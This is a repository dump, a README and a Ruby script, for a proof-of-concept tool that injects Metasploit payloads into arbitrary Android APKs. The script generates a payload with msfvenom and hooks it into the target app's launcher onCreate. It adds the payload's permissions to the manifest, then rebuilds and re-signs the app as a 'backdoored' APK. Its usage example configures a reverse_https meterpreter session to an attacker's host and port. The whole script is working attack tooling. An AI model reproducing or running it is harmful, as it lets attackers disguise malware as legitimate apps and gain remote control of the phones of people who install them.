├── README.md └── apk-embed-payload.rb /README.md: -------------------------------------------------------------------------------- 1 | # apk-payload-injector 2 | POC for injecting Metasploit payloads on arbitrary APKs 3 | -------------------------------------------------------------------------------- /apk-embed-payload.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | # apk_backdoor.rb 3 | # This script is a POC for injecting metasploit payloads on 4 | # arbitrary APKs. 5 | # Authored by timwr, Jack64 6 | # 7 | 8 | 9 | require 'nokogiri' 10 | require 'fileutils' 11 | require 'optparse' 12 | 13 | # Find the activity thatapk_backdoor.rb is opened when you click the app icon 14 | def findlauncheractivity(amanifest) 15 | package = amanifest.xpath("//manifest").first['package'] 16 | activities = amanifest.xpath("//activity|//activity-alias") 17 | for activity in activities 18 | activityname = activity.attribute("name") 19 | category = activity.search('category') 20 | unless category 21 | next 22 | end 23 | for cat in category 24 | categoryname = cat.attribute('name') 25 | if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN') 26 | activityname = activityname.to_s 27 | unless activityname.start_with?(package) 28 | activityname = package + activityname 29 | end 30 | return activityname 31 | end 32 | end 33 | end 34 | end 35 | 36 | # If XML parsing of the manifest fails, recursively search 37 | # the smali code for the onCreate() hook and let the user 38 | # pick the injection point 39 | def scrapeFilesForLauncherActivity() 40 | smali_files||=[] 41 | Dir.glob('original/smali*/**/*.smali') do |file| 42 | checkFile=File.read(file) 43 | if (checkFile.include?";->onCreate(Landroid/os/Bundle;)V") 44 | smali_files << file 45 | smalifile = file 46 | activitysmali = checkFile 47 | end 48 | end 49 | i=0 50 | print "[*] Please choose from one of the following:\n" 51 | smali_files.each{|s_file| 52 | print "[+] Hook point ",i,": ",s_file,"\n" 53 | i+=1 54 | } 55 | hook=-1 56 | while (hook < 0 || hook>i) 57 | print "\nHook: " 58 | hook = STDIN.gets.chomp.to_i 59 | end 60 | i=0 61 | smalifile="" 62 | activitysmali="" 63 | smali_files.each{|s_file| 64 | if (i==hook) 65 | checkFile=File.read(s_file) 66 | smalifile=s_file 67 | activitysmali = checkFile 68 | break 69 | end 70 | i+=1 71 | } 72 | return [smalifile,activitysmali] 73 | end 74 | 75 | def fix_manifest() 76 | payload_permissions=[] 77 | 78 | #Load payload's permissions 79 | File.open("payload/AndroidManifest.xml","r"){|file| 80 | k=File.read(file) 81 | payload_manifest=Nokogiri::XML(k) 82 | permissions = payload_manifest.xpath("//manifest/uses-permission") 83 | for permission in permissions 84 | name=permission.attribute("name") 85 | payload_permissions << name.to_s 86 | end 87 | # print "#{k}" 88 | } 89 | original_permissions=[] 90 | apk_mani='' 91 | 92 | #Load original apk's permissions 93 | File.open("original/AndroidManifest.xml","r"){|file2| 94 | k=File.read(file2) 95 | apk_mani=k 96 | original_manifest=Nokogiri::XML(k) 97 | permissions = original_manifest.xpath("//manifest/uses-permission") 98 | for permission in permissions 99 | name=permission.attribute("name") 100 | original_permissions << name.to_s 101 | end 102 | # print "#{k}" 103 | } 104 | #Get permissions that are not in original APK 105 | add_permissions=[] 106 | for permission in payload_permissions 107 | if !(original_permissions.include? permission) 108 | print "[*] Adding #{permission}\n" 109 | add_permissions << permission 110 | end 111 | end 112 | inject=0 113 | new_mani="" 114 | #Inject permissions in original APK's manifest 115 | for line in apk_mani.split("\n") 116 | if (line.include? "uses-permission" and inject==0) 117 | for permission in add_permissions 118 | new_mani << ''+"\n" 119 | end 120 | new_mani << line+"\n" 121 | inject=1 122 | else 123 | new_mani << line+"\n" 124 | end 125 | end 126 | File.open("original/AndroidManifest.xml", "w") {|file| file.puts new_mani } 127 | end 128 | 129 | apkfile = ARGV[0] 130 | unless(apkfile && File.readable?(apkfile)) 131 | puts "Usage: #{$0} [target.apk] [msfvenom options]\n" 132 | puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" 133 | exit(1) 134 | end 135 | 136 | jarsigner = `which jarsigner` 137 | unless(jarsigner && jarsigner.length > 0) 138 | puts "No jarsigner" 139 | exit(1) 140 | end 141 | 142 | apktool = `which apktool` 143 | unless(apktool && apktool.length > 0) 144 | puts "No apktool" 145 | exit(1) 146 | end 147 | 148 | apk_v=`apktool` 149 | unless(apk_v.split()[1].include?("v2.")) 150 | puts "[-] Apktool version #{apk_v} not supported, please download the latest 2. version from git.\n" 151 | exit(1) 152 | end 153 | 154 | begin 155 | msfvenom_opts = ARGV[1,ARGV.length] 156 | opts="" 157 | msfvenom_opts.each{|x| 158 | opts+=x 159 | opts+=" " 160 | } 161 | rescue 162 | puts "Usage: #{$0} [target.apk] [msfvenom options]\n" 163 | puts "e.g. #{$0} messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443" 164 | puts "[-] Error parsing msfvenom options. Exiting.\n" 165 | exit(1) 166 | end 167 | 168 | 169 | 170 | print "[*] Generating msfvenom payload..\n" 171 | res=`msfvenom -f raw #{opts} -o payload.apk 2>&1` 172 | if res.downcase.include?("invalid" || "error") 173 | puts res 174 | exit(1) 175 | end 176 | 177 | print "[*] Signing payload..\n" 178 | `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA payload.apk androiddebugkey` 179 | 180 | `rm -rf original` 181 | `rm -rf payload` 182 | 183 | `cp #{apkfile} original.apk` 184 | 185 | print "[*] Decompiling orignal APK..\n" 186 | `apktool d $(pwd)/original.apk -o $(pwd)/original` 187 | print "[*] Decompiling payload APK..\n" 188 | `apktool d $(pwd)/payload.apk -o $(pwd)/payload` 189 | 190 | f = File.open("original/AndroidManifest.xml") 191 | amanifest = Nokogiri::XML(f) 192 | f.close 193 | 194 | print "[*] Locating onCreate() hook..\n" 195 | 196 | 197 | launcheractivity = findlauncheractivity(amanifest) 198 | smalifile = 'original/smali/' + launcheractivity.gsub(/\./, "/") + '.smali' 199 | begin 200 | activitysmali = File.read(smalifile) 201 | rescue Errno::ENOENT 202 | print "[!] Unable to find correct hook automatically\n" 203 | begin 204 | results=scrapeFilesForLauncherActivity() 205 | smalifile=results[0] 206 | activitysmali=results[1] 207 | rescue 208 | puts "[-] Error finding launcher activity. Exiting" 209 | exit(1) 210 | end 211 | end 212 | 213 | print "[*] Copying payload files..\n" 214 | FileUtils.mkdir_p('original/smali/com/metasploit/stage/') 215 | FileUtils.cp Dir.glob('payload/smali/com/metasploit/stage/Payload*.smali'), 'original/smali/com/metasploit/stage/' 216 | activitycreate = ';->onCreate(Landroid/os/Bundle;)V' 217 | payloadhook = activitycreate + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V" 218 | hookedsmali = activitysmali.gsub(activitycreate, payloadhook) 219 | print "[*] Loading ",smalifile," and injecting payload..\n" 220 | File.open(smalifile, "w") {|file| file.puts hookedsmali } 221 | injected_apk=apkfile.split(".")[0] 222 | injected_apk+="_backdoored.apk" 223 | 224 | print "[*] Poisoning the manifest with meterpreter permissions..\n" 225 | fix_manifest() 226 | 227 | print "[*] Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}..\n" 228 | `apktool b -o $(pwd)/#{injected_apk} $(pwd)/original` 229 | print "[*] Signing #{injected_apk} ..\n" 230 | `jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey` 231 | 232 | puts "[+] Infected file #{injected_apk} ready.\n" 233 | --------------------------------------------------------------------------------